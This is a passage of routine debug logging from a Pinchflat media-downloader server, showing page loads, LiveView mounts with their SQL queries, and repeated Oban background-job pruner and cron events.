Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JSIlGBC7jIcqK4UhvNGCKEje"} 23:33:29.521 [debug] Replied in 65µs 23:33:34.075 [info] GET / 23:33:34.075 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:33:34.075 [debug] QUERY OK source="settings" db=0.0ms idle=685.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:33:34.075 [debug] QUERY OK source="media_profiles" db=0.0ms idle=563.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:33:34.075 [debug] QUERY OK source="sources" db=0.0ms idle=563.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:33:34.075 [debug] QUERY OK source="media_items" db=0.0ms idle=563.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:33:34.075 [debug] QUERY OK source="media_items" db=0.0ms idle=563.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:33:34.076 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:33:34.076 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:33:34.076 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:33:34.076 [debug] QUERY OK source="tasks" db=0.0ms idle=0.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:33:34.076 [debug] QUERY OK source="media_items" db=0.0ms idle=0.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:33:34.076 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:33:34.077 [debug] QUERY OK source="sources" db=0.0ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 3] 23:33:34.078 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:33:34.078 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:33:34.078 [info] Sent 200 in 3ms 23:33:35.383 [info] CONNECTED TO Phoenix.LiveView.Socket in 15µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "OBM_MklgDjlqZlgwKCQ9AHFTJDMPJRoJ_AgKzQMx56mwEcpHD8jWmCmN", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:33:35.475 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "gRXy31CA_P5GmGMH5kNdbfwG", "media_state" => "downloaded"} 23:33:35.475 [debug] QUERY OK source="media_items" db=0.2ms idle=1398.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:33:35.476 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1397.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:33:35.477 [debug] QUERY OK source="sources" db=0.6ms idle=1398.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [1, 3] 23:33:35.477 [debug] Replied in 2ms 23:33:35.479 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "gRXy31CA_P5GmGMH5kNdbfwG", "media_state" => "pending"} 23:33:35.480 [debug] QUERY OK source="media_items" db=0.9ms idle=1088.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:33:35.480 [debug] QUERY OK source="media_items" db=0.3ms idle=88.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:33:35.480 [debug] Replied in 1ms 23:33:35.481 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "gRXy31CA_P5GmGMH5kNdbfwG"} 23:33:35.481 [debug] QUERY OK source="tasks" db=0.1ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:33:35.481 [debug] Replied in 380µs 23:33:35.481 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "gRXy31CA_P5GmGMH5kNdbfwG"} 23:33:35.481 [debug] Replied in 30µs 23:33:59.097 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.048 [info] {"source":"oban","duration":124,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:34:29.098 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:59.099 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.049 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:35:29.100 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:59.101 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.050 [info] {"source":"oban","duration":144,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:36:29.102 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:59.103 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:00.051 [info] {"source":"oban","duration":103,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:37:29.104 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:37:59.105 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:00.052 [info] {"source":"oban","duration":101,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:38:29.106 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:59.107 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.053 [info] {"source":"oban","duration":126,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:39:29.108 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:59.110 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.054 [info] {"source":"oban","duration":107,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:40:29.112 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:59.114 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.055 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:41:29.116 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:59.118 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:00.056 [info] {"source":"oban","duration":132,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:42:29.119 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:42:59.121 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:00.057 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:43:29.123 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:43:59.125 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:00.058 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:44:29.127 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:44:59.129 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:00.059 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:45:29.131 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:45:59.133 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:00.060 [info] {"source":"oban","duration":175,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:46:29.135 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:46:59.137 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:00.061 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:47:29.139 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:47:59.141 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:00.062 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:48:29.143 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:48:59.145 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:00.063 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:49:29.146 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:49:59.149 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.064 [info] {"source":"oban","duration":83,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:50:29.151 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:59.153 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.065 [info] {"source":"oban","duration":144,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:51:29.155 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:59.157 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.066 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:52:29.159 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:59.161 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.067 [info] {"source":"oban","duration":169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:53:29.163 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:59.165 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.068 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:54:29.167 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:59.169 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.069 [info] {"source":"oban","duration":105,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:55:29.171 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:59.173 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.070 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:56:29.174 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:59.176 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.071 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:57:29.178 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:59.180 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.072 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:58:29.182 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:59.184 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:00.073 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:59:29.186 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:59:59.188 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:00.074 [info] {"source":"oban","duration":110,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:00:29.190 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:00:59.192 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:00.075 [info] {"source":"oban","duration":231,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:01:29.194 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:01:59.196 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:00.076 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:02:29.198 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:02:59.200 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:00.077 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:03:29.202 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:03:59.204 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:00.078 [info] {"source":"oban","duration":169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:04:29.206 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:04:59.208 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.079 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:05:29.210 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:59.212 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.080 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:06:29.214 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:59.216 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.081 [info] {"source":"oban","duration":152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:07:29.218 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:59.220 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.082 [info] {"source":"oban","duration":172,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:08:29.222 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:59.223 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.083 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:09:29.225 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:59.227 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.084 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:10:29.228 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:59.230 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.085 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:11:29.232 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:59.234 [info] {"source":"oban","duration":1100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.086 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:12:29.236 [info] 